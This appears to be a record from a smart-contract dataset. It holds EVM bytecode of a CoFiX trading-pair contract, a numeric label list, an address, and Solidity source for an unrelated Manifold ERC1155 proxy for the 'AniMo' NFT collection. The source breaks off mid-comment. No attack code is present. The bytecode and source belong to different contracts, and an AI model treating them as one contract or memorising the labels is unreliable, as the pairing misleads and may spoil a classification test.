000000000000000000000000000000000000900416610379565b3480156104a757600080fd5b506102076104b6366004613516565b610ef5565b3480156104c757600080fd5b5061022c6104d6366004613516565b610f02565b3480156104e757600080fd5b506102446104f6366004613604565b611165565b34801561050757600080fd5b5060085460095460075460408051750100000000000000000000000000000000000000000090940461ffff16845274010000000000000000000000000000000000000000928390046bffffffffffffffffffffffff908116602086015292909104909116908201526060016101de565b34801561058357600080fd5b5061022c61059236600461321a565b611277565b3480156105a357600080fd5b506102446105b2366004613254565b600360209081526000928352604080842090915290825290205481565b6105e26105dd366004613410565b61133e565b6040805173ffffffffffffffffffffffffffffffffffffffff90931683526020830191909152016101de565b61037961061c366004613355565b6118ac565b34801561062d57600080fd5b5061022c61063c366004613564565b611e3f565b6005805461064e906137fa565b80601f016020809104026020016040519081016040528092919081815260200182805461067a906137fa565b80156106c75780601f1061069c576101008083540402835291602001916106c7565b820191906000526020600020905b8154815290600101906020018083116106aa57829003601f168201915b505050505081565b60006106dc338484611ff8565b5060015b92915050565b6007546008546040517fdaa78c0f00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9092169163daa78c0f9177010000000000000000000000000000000000000000000000900468ffffffffffffffffff16906024016000604051808303818588803b15801561077a57600080fd5b505af115801561078e573d6000803e3d6000fd5b50506008805476ffffffffffffffffffffffffffffffffffffffffffffff169055505050565b6107bd81612067565b8073ffffffffffffffffffffffffffffffffffffffff1663746b56f96040518163ffffffff1660e01b815260040160c06040518083038186803b15801561080357600080fd5b505afa158015610817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083b919061328d565b506009805473ffffffffffffffffffffffffffffffffffffffff9283167fffffffffffffffffffffffff000000000000000000000000000000000000000091821617909155600880549383169382169390931790925560078054919093169116179055505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146109685773ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083203384529091529020546109369083906137b3565b73ffffffffffffffffffffffffffffffffffffffff851660009081526003602090815260408083203384529091529020555b6109738484846121db565b5060019392505050565b6001546000908015610aa85780610a84610995610da5565b600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925273ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b1580156109ff57600080fd5b505afa158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3791906135c9565b6004548890889065ffffffffffff7401000000000000000000000000000000000000000082048116917a0100000000000000000000000000000000000000000000000000009004166122aa565b610a9690670de0b6b3a7640000613776565b610aa0919061373b565b9150506106e0565b50670de0b6b3a76400009392505050565b600854600090819073ffffffffffffffffffffffffffffffffffffffff163314610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f436f466958506169723a204f6e6c7920666f7220436f466958526f757465720060448201526064015b60405180910390fd5b60085474010000000000000000000000000000000000000000900460ff1615610bc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f436f466958506169723a204c4f434b45440000000000000000000000000000006044820152606401610b3b565b600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000017905560045473ffffffffffffffffffffffffffffffffffffffff908116908816158015610c5e57508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b15610c7957610c6f81878787612308565b9093509150610d3b565b8073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16148015610cc8575073ffffffffffffffffffffffffffffffffffffffff8716155b15610cd957610c6f81878787612626565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f436f466958506169723a2070616972206572726f7200000000000000000000006044820152606401610b3b565b50600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16905590969095509350505050565b60045460009073ffffffffffffffffffffffffffffffffffffffff83811691161415610d9d575030919050565b506000919050565b600854600090610ddb9077010000000000000000000000000000000000000000000000900468ffffffffffffffffff16476137b3565b905090565b6009546000906106e09083907401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1661291b565b610e2088611277565b610e2c600588886130e3565b50610e39600686866130e3565b506004805473ffffffffffffffffffffffffffffffffffffffff949094167fffffffffffff0000000000000000000000000000000000000000000000000000909416939093177401000000000000000000000000000000000000000065ffffffffffff938416021779ffffffffffffffffffffffffffffffffffffffffffffffffffff167a01000000000000000000000000000000000000000000000000000091909216021790555050505050565b6006805461064e906137fa565b60006106dc3384846121db565b600080546040517f91e1472b000000000000000000000000000000000000000000000000000000008152336004820152602481019290925273ffffffffffffffffffffffffffffffffffffffff16906391e1472b9060440160206040518083038186803b158015610f7257600080fd5b505afa158015610f86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610faa9190613542565b611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f436f4669583a21676f76000000000000000000000000000000000000000000006044820152606401610b3b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663967764926040518163ffffffff1660e01b815260040160206040518083038186803b15801561107957600080fd5b505afa15801561108d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b19190613237565b905073ffffffffffffffffffffffffffffffffffffffff8316611155576040517fdaa78c0f0000000000000000000000000000000000000000000000000000000081526000600482015273ffffffffffffffffffffffffffffffffffffffff82169063daa78c0f9084906024016000604051808303818588803b15801561113757600080fd5b505af115801561114b573d6000803e3d6000fd5b5050505050505050565b611160838284612937565b505050565b60008061117486868686612aa7565b600a549091506e01000000000000000000000000000090046dffffffffffffffffffffffffffff168181111561126d57600a54600090670de0b6b3a7640000906111e4907c0100000000000000000000000000000000000000000000000000000000900463ffffffff16436137b3565b600754611217907401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1685613776565b6112219190613776565b61122b919061373b565b600a5461124891906dffffffffffffffffffffffffffff16613723565b90508161125584826137b3565b61125f9083613776565b611269919061373b565b9350505b5050949350505050565b60005473ffffffffffffffffffffffffffffffffffffffff16156112f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f436f4669583a21696e697469616c697a650000000000000000000000000000006044820152606401610b3b565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600854600090819073ffffffffffffffffffffffffffffffffffffffff1633146113c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f436f466958506169723a204f6e6c7920666f7220436f466958526f75746572006044820152606401610b3b565b60085474010000000000000000000000000000000000000000900460ff1615611449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f436f466958506169723a204c4f434b45440000000000000000000000000000006044820152606401610b3b565b600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000017905560045473ffffffffffffffffffffffffffffffffffffffff88811691161461150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f436f466958506169723a20696e76616c696420746f6b656e20616464726573736044820152606401610b3b565b60045465ffffffffffff7401000000000000000000000000000000000000000082048116917a01000000000000000000000000000000000000000000000000000090041661155a8287613776565b6115648289613776565b146115cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f436f466958506169723a20696e76616c696420617373657420726174696f00006044820152606401610b3b565b600154801561179657600954600090819073ffffffffffffffffffffffffffffffffffffffff16633c72db4c6116018c346137b3565b8e8b6040518463ffffffff1660e01b815260040161164292919073ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b60c0604051808303818588803b15801561165b57600080fd5b505af115801561166f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611694919061366c565b505050925092505060006116a6610da5565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290915060009073ffffffffffffffffffffffffffffffffffffffff8f16906370a082319060240160206040518083038186803b15801561171157600080fd5b505afa158015611725573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174991906135c9565b905061176b6117588d846137b3565b6117628d846137b3565b86868b8b6122aa565b611775868e613776565b61177f919061373b565b975061178d82828686612b71565b50505050611802565b73ffffffffffffffffffffffffffffffffffffffff86166108fc6117ba8a346137b3565b6040518115909202916000818181858888f193505050501580156117e2573d6000803e3d6000fd5b506117f1633b9aca00896137b3565b93506118026000633b9aca00612ced565b61180c8985612ced565b6040805173ffffffffffffffffffffffffffffffffffffffff808d1682528b16602082015290810189905260608101889052608081018590523095507f458f5fa412d0f69b08dd84872b0215675cc67bc1d5b6fd93300a1c3878b861969060a00160405180910390a15050600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690555090969095509350505050565b600854600090819073ffffffffffffffffffffffffffffffffffffffff163314611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f436f466958506169723a204f6e6c7920666f7220436f466958526f75746572006044820152606401610b3b565b60085474010000000000000000000000000000000000000000900460ff16156119b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f436f466958506169723a204c4f434b45440000000000000000000000000000006044820152606401610b3b565b600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000017905560045473ffffffffffffffffffffffffffffffffffffffff878116911614611a7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f436f466958506169723a20696e76616c696420746f6b656e20616464726573736044820152606401610b3b565b6009546040517f3c72db4c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff888116600483015285811660248301526000928392911690633c72db4c90349060440160c0604051808303818588803b158015611af457600080fd5b505af1158015611b08573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b2d919061366c565b50505092509250506000611b3f610da5565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290915060009073ffffffffffffffffffffffffffffffffffffffff8b16906370a082319060240160206040518083038186803b158015611baa57600080fd5b505afa158015611bbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be291906135c9565b600154600454919250670de0b6b3a76400009165ffffffffffff7401000000000000000000000000000000000000000082048116917a0100000000000000000000000000000000000000000000000000009004168215611c6a5782611c4b87878b8b87876122aa565b611c5d90670de0b6b3a7640000613776565b611c67919061373b565b93505b670de0b6b3a7640000611c7d8d86613776565b611c87919061373b565b995081611c94828c613776565b611c9e919061373b565b9850611caa308d612d99565b858a1115611ce6578787611cbe888d6137b3565b611cc89190613776565b611cd2919061373b565b611cdc908a613723565b9850859950611d1e565b84891115611d1e578688611cfa878c6137b3565b611d049190613776565b611d0e919061373b565b611d18908b613723565b99508498505b60405173ffffffffffffffffffffffffffffffffffffffff8e16908b156108fc02908c906000818181858888f19350505050158015611d61573d6000803e3d6000fd5b50611d6d8e8e8b612937565b7f4cf25bc1d991c17529c25213d3cc0cda295eeaad5f13f361969b12ea48015f908e8e8e8d8d604051611ddd95949392919073ffffffffffffffffffffffffffffffffffffffff958616815293909416602084015260408301919091526060820152608081019190915260a00190565b60405180910390a1611e03611df28b886137b3565b611dfc8b886137b3565b8a8a612b71565b5050600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16905550959a94995093975050505050505050565b600080546040517f91e1472b000000000000000000000000000000000000000000000000000000008152336004820152602481019290925273ffffffffffffffffffffffffffffffffffffffff16906391e1472b9060440160206040518083038186803b158015611eaf57600080fd5b505afa158015611ec3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee79190613542565b611f4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f436f4669583a21676f76000000000000000000000000000000000000000000006044820152606401610b3b565b6008805461ffff9094167501000000000000000000000000000000000000000000027fffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffff90941693909317909255600980546bffffffffffffffffffffffff9283167401000000000000000000000000000000000000000090810273ffffffffffffffffffffffffffffffffffffffff9283161790925560078054949093169091029216919091179055565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60005473ffffffffffffffffffffffffffffffffffffffff163381148061212d57506040517f91e1472b0000000000000000000000000000000000000000000000000000000081523360048201526000602482015273ffffffffffffffffffffffffffffffffffffffff8216906391e1472b9060440160206040518083038186803b1580156120f557600080fd5b505afa158015612109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212d9190613542565b612193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f436f4669583a21676f76000000000000000000000000000000000000000000006044820152606401610b3b565b50600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602052604090205461220c9082906137b3565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600260205260408082209390935590841681522054612249908290613723565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061205a9085815260200190565b60006122b68583613776565b6122c08585613776565b6122ca9190613723565b836122d58789613776565b6122df878b613776565b6122e99190613723565b6122f39190613776565b6122fd919061373b565b979650505050505050565b600954600090819081908190819073ffffffffffffffffffffffffffffffffffffffff16631a78f96d61233b8a346137b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b16815273ffffffffffffffffffffffffffffffffffffffff808e1660048301528a1660248201526044016080604051808303818588803b1580156123a757600080fd5b505af11580156123bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123e09190613636565b5060085492955090935091506000906127109061241a907501000000000000000000000000000000000000000000900461ffff168b613776565b612424919061373b565b60095490915061245b908a907401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1661291b565b61246d85670de0b6b3a7640000613723565b6124779190613723565b8383612483848d6137b3565b61248d9190613776565b61249f90670de0b6b3a7640000613776565b6124a9919061373b565b6124b3919061373b565b95506124be81612e4c565b90506125ae6125806124d083476137b3565b6040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152899073ffffffffffffffffffffffffffffffffffffffff8f16906370a082319060240160206040518083038186803b15801561253757600080fd5b505afa15801561254b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061256f91906135c9565b61257991906137b3565b8686612aa7565b6007547401000000000000000000000000000000000000000090046bffffffffffffffffffffffff16612f69565b94506125bb8a8988612937565b604080518a815273ffffffffffffffffffffffffffffffffffffffff8a166020820152908101879052606081018690527f2cdbb63e9e03acb3130812eccbb8c16c6936b4d68539f62effff75e9603abb47906080015b60405180910390a15050505094509492505050565b6009546040517f1a78f96d00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff868116600483015283811660248301526000928392839283928392911690631a78f96d9034906044016080604051808303818588803b1580156126a657600080fd5b505af11580156126ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126df9190613636565b5091945092509050806126f2838a613776565b6126fc919061373b565b6009549095506127339086907401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1661291b565b61274584670de0b6b3a7640000613723565b61274f9190613723565b61276186670de0b6b3a7640000613776565b61276b919061373b565b6008549095506000906127109061279f907501000000000000000000000000000000000000000000900461ffff1688613776565b6127a9919061373b565b90506127b581876137b3565b95506127c081612e4c565b905061287a612580876127d384476137b3565b6127dd91906137b3565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff8e16906370a082319060240160206040518083038186803b15801561284257600080fd5b505afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257991906135c9565b60405190955073ffffffffffffffffffffffffffffffffffffffff89169087156108fc029088906000818181858888f193505050501580156128c0573d6000803e3d6000fd5b50604080518a815273ffffffffffffffffffffffffffffffffffffffff8a166020820152908101879052606081018690527f33ab238af3f67b50929956cc8c13e6d2158053e3a56809bd9722eb910b73364390608001612611565b60008183106106e0576129306103e88461373b565b9392505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905291516000928392908716916129ce91906136b6565b6000604051808303816000865af19150503d8060008114612a0b576040519150601f19603f3d011682016040523d82523d6000602084013e612a10565b606091505b5091509150818015612a3a575080511580612a3a575080806020019051810190612a3a9190613542565b612aa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610b3b565b5050505050565b60045460009065ffffffffffff7401000000000000000000000000000000000000000082048116917a01000000000000000000000000000000000000000000000000000090041682612af98289613776565b90506000612b078489613776565b9050600081831115612b2457612b1d82846137b3565b9050612b31565b612b2e83836137b3565b90505b612b3b8588613776565b612b45858a613776565b612b4f9190613723565b612b598983613776565b612b63919061373b565b9a9950505050505050505050565b6000612b7f85858585612aa7565b600a549091506e01000000000000000000000000000081046dffffffffffffffffffffffffffff1690600090670de0b6b3a764000090612be5907c0100000000000000000000000000000000000000000000000000000000900463ffffffff16436137b3565b600754612c18907401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1685613776565b612c229190613776565b612c2c919061373b565b600a54612c4991906dffffffffffffffffffffffffffff16613723565b600a80546dffffffffffffffffffffffffffff9283167fffffffff00000000000000000000000000000000000000000000000000000000909116176e0100000000000000000000000000009590921694909402177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c01000000000000000000000000000000000000000000000000000000004363ffffffff160217909255505050505050565b80600154612cfb9190613723565b60015573ffffffffffffffffffffffffffffffffffffffff8216600090815260026020526040902054612d2f908290613723565b73ffffffffffffffffffffffffffffffffffffffff83166000818152600260205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612d8d9085815260200190565b60405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260026020526040902054612dca9082906137b3565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260026020526040902055600154612dfe9082906137b3565b60015560405181815260009073ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001612d8d565b600854600090612e8390839077010000000000000000000000000000000000000000000000900468ffffffffffffffffff16613723565b9050670de0b6b3a76400008110612f1e576007546040517fdaa78c0f00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169063daa78c0f9083906024016000604051808303818588803b158015612f0057600080fd5b505af1158015612f14573d6000803e3d6000fd5b5050505050600090505b6008805476ffffffffffffffffffffffffffffffffffffffffffffff167701000000000000000000000000000000000000000000000068ffffffffffffffffff841602179055919050565b600a546000906e01000000000000000000000000000081046dffffffffffffffffffffffffffff16908290670de0b6b3a764000090612fce907c0100000000000000000000000000000000000000000000000000000000900463ffffffff16436137b3565b612fd88685613776565b612fe29190613776565b612fec919061373b565b600a5461300991906dffffffffffffffffffffffffffff16613723565b905084821115613041578161301e86826137b3565b6130289083613776565b613032919061373b565b925061303e83826137b3565b90505b600a80546dffffffffffffffffffffffffffff9283167fffffffff00000000000000000000000000000000000000000000000000000000909116176e0100000000000000000000000000009690921695909502177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c01000000000000000000000000000000000000000000000000000000004363ffffffff16021790935592915050565b8280546130ef906137fa565b90600052602060002090601f0160209004810192826131115760008555613175565b82601f10613148578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555613175565b82800160010185558215613175579182015b8281111561317557823582559160200191906001019061315a565b50613181929150613185565b5090565b5b808211156131815760008155600101613186565b60008083601f8401126131ac57600080fd5b50813567ffffffffffffffff8111156131c457600080fd5b6020830191508360208285010111156131dc57600080fd5b9250929050565b803565ffffffffffff811681146131f957600080fd5b919050565b80356bffffffffffffffffffffffff811681146131f957600080fd5b60006020828403121561322c57600080fd5b81356129308161387d565b60006020828403121561324957600080fd5b81516129308161387d565b6000806040838503121561326757600080fd5b82356132728161387d565b915060208301356132828161387d565b809150509250929050565b60008060008060008060c087890312156132a657600080fd5b86516132b18161387d565b60208801519096506132c28161387d565b60408801519095506132d38161387d565b60608801519094506132e48161387d565b60808801519093506132f58161387d565b60a08801519092506133068161387d565b809150509295509295509295565b60008060006060848603121561332957600080fd5b83356133348161387d565b925060208401356133448161387d565b929592945050506040919091013590565b6000806000806080858703121561336b57600080fd5b84356133768161387d565b935060208501356133868161387d565b925060408501359150606085013561339d8161387d565b939692955090935050565b600080600080600060a086880312156133c057600080fd5b85356133cb8161387d565b945060208601356133db8161387d565b93506040860135925060608601356133f28161387d565b915060808601356134028161387d565b809150509295509295909350565b600080600080600060a0868803121561342857600080fd5b85356134338161387d565b945060208601356134438161387d565b9350604086013592506060860135915060808601356134028161387d565b60008060008060008060008060c0898b03121561347d57600080fd5b88356134888161387d565b9750602089013567ffffffffffffffff808211156134a557600080fd5b6134b18c838d0161319a565b909950975060408b01359150808211156134ca57600080fd5b506134d78b828c0161319a565b90965094505060608901356134eb8161387d565b92506134f960808a016131e3565b915061350760a08a016131e3565b90509295985092959890939650565b6000806040838503121561352957600080fd5b82356135348161387d565b946020939093013593505050565b60006020828403121561355457600080fd5b8151801515811461293057600080fd5b60008060006060848603121561357957600080fd5b833561ffff8116811461358b57600080fd5b9250613599602085016131fe565b91506135a7604085016131fe565b90509250925092565b6000602082840312156135c257600080fd5b5035919050565b6000602082840312156135db57600080fd5b5051919050565b600080604083850312156135f557600080fd5b50508035926020909101359150565b6000806000806080858703121561361a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000806080858703121561364c57600080fd5b505082516020840151604085015160609095015191969095509092509050565b60008060008060008060c0878903121561368557600080fd5b865195506020870151945060408701519350606087015192506080870151915060a087015190509295509295509295565b600082516136c88184602087016137ca565b9190910192915050565b60208152600082518060208401526136f18160408501602087016137ca565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b600082198211156137365761373661384e565b500190565b600082613771577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137ae576137ae61384e565b500290565b6000828210156137c5576137c561384e565b500390565b60005b838110156137e55781810151838201526020016137cd565b838111156137f4576000848401525b50505050565b600181811c9082168061380e57607f821691505b60208210811415613848577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461389f57600080fd5b5056fea2646970667358221220ed72de130d301e46e6613faaae5ccb77c09ea565481d0c4557816bc7e94640f364736f6c63430008060033
[ 13, 4, 9, 11 ]
0xf27799d684015c2ac581dad8238f0c82e2d0fdd8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: AniMo-Animals in Motion- /// @author: manifold.xyz import "./ERC1155Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // "AniMo" is a collection based on the motif of dynamic animals.  ✅Concept >> Artwork that appeals to the emotions enriches people. Work that appeals to the heart has the power to shake the heart.  ✅Thoughts in the work >> ①"Cool! and "Beautiful! I want people to encounter a new worldview and values that are different from what they have seen before, and enrich their lives! ②In order to create works that will be loved for a long time, we will breathe the life of "dynamism" into each of our works! // // // // AniMo(アニモ)は躍動する動物たちをモチーフにしたコレクションです。  ✅作品コンセプト:感情に訴えかける作品は人を豊かにする→美しい歌声で涙が出るように心に訴えかける作品は心を震わせる力がある  ✅作品へ込める想い:①作品を見た人が素直に「かっこいい!」「キレイ!」と感じることができ、今までとは違った新しい世界観・価値観に出会い、人生を豊かに歩んで欲しい! ②愛される作品になるために作品ひとつひとつへ《躍動感》という命を吹き込む!! // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract ANM is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since 